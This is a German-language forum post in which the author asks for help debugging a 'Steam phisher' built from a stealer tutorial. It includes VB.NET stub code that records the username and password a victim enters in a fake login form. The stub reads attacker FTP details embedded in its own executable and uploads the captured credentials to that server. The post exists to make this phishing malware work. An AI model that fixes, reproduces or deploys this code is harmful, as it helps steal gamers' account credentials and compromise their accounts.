Hallo,

ich bin gerade an einem kleinem Steam Phisher dran. Und habe das Stealer Tutorial von ThePapst dazu verwendet doch er uploadet einfach nicht den Log kann mir bitte jemand helfen hier der code von der stub. Es kommt immer Upload Ihrer Daten Fehlgeschlagen! und ich weiß einfach nicht warum. Bitte um Hilfe

Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Imports Microsoft.Win32


Public Class frmMain

Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click

File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "/StubKopie.exe")
Dim Einstellung As New VB6.FixedLengthString(100)
FileOpen(1, My.Application.Info.DirectoryPath & "/StubKopie.exe", OpenMode.Binary)
FileGet(1, Einstellung.Value, LOF(1) - 99)
FileClose(1)
Dim TrennZeichen As Char = "_"
Dim BuilderDaten As String() = Einstellung.Value.Split(TrennZeichen)
File.Delete(My.Application.Info.DirectoryPath & "/StubKopie.exe")

Call DokumentErstellen()

Try
My.Computer.Network.UploadFile("/User.txt", "ftp://" & BuilderDaten(0) & "/User.txt", BuilderDaten(1), BuilderDaten(2))
MessageBox.Show("Der Upload ihrer Daten war erfolgreich!")
Catch ex As System.Net.WebException
MessageBox.Show("Upload Ihrer Daten Fehlgeschlagen!")
End Try
End Sub


Private Sub DokumentErstellen()
Dim sw As New StreamWriter("User.txt")
sw.Write("Username: " & txtUsername.Text)
sw.Write(vbNewLine)
sw.Write("Password: " & txtPass.Text)
sw.Close()
End Sub

End Class